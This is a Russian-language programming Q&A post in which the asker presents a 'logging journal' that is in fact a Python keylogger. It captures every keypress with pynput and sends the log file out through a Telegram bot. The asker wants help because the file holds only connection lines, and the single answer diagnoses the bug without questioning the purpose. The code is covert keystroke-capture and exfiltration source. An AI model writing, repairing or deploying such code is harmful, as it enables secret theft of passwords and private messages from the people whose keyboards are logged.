Python - не отправляет нужные данные

Создаю журнал для записи всех событий и отправки удобным способом (модуль logging), для отправки данных выбрал Telegram-бота. Но проблема заключается в следующем. Данные отправляются только об успешном подключении, то есть в готовом файле хранятся не журнал, что писала программа. А любой файл содержит примерно такой текст:

2020-11-18 22:09:06,469:Starting new HTTPS connection (1): api.telegram.org
2020-11-18 22:09:07,140:"GET /bot токен

Сам код программы:

import logging.config
from pynput.keyboard import Key, Listener
import logging
import telebot
import os
import sys
import shutil

bot = telebot.TeleBot("токен")

keygen = "файл.txt"
os.getcwd()
os.chdir(r"путь\ ")
logger = logging.getLogger()
l = logging.StreamHandler()
logging.FileHandler(keygen)
l.setLevel(logging.DEBUG)
format = logging.Formatter("%(asctime)s:%(message)s")
l.setFormatter(format)
logger.addHandler(l)


@bot.message_handler(commands=["start"])
def start_message(message):
    logging.disable(level=logging.CRITICAL)
    shutil.copyfile(r"путь\файл.txt",
                    r"путь\файл1.txt")
    file = open("путь\файл1.txt", "rb")

    bot.send_document(message.chat.id, file)
    file.close()

    os.remove("путь\файл1.txt")

    bot.stop_polling()


bot.polling()


def keypress(Key):
    logging.info(str(Key))


with Listener(on_press=keypress) as listener:
    listener.join()

Сражаюсь с этим уже неделю, не понимаю где тут ошибка моя. Заранее очень благодарен за ответ.


Ответы (1 шт):

Автор решения: Oleg

Формулировка

Очень размытая формулировка, 4 раза прочитал - не понял до конца что вы хотите получить.

Ваш код можно логически разделить на 4 части:

  • настройка логгирования в файл
  • регистрация хэндлера c отправкой файла
  • запуск бота
  • код, который исполнится после остановки бота

А теперь о том, что вы сделали

В первом этапе вы настроили логгер. Я не вчитывался, но будем считать, что корректно.

На втором этапе командой logging.disable(level=logging.CRITICAL) вы выключили логгирование...

Третий этап запустил бота

Четвёртый этап (после остановки бота), вероятно вы пытаетесь что-то вводить в консоль, но отображаться оно тоже не будет, т.к. на втором этапе логгер был выключен.

→ Ссылка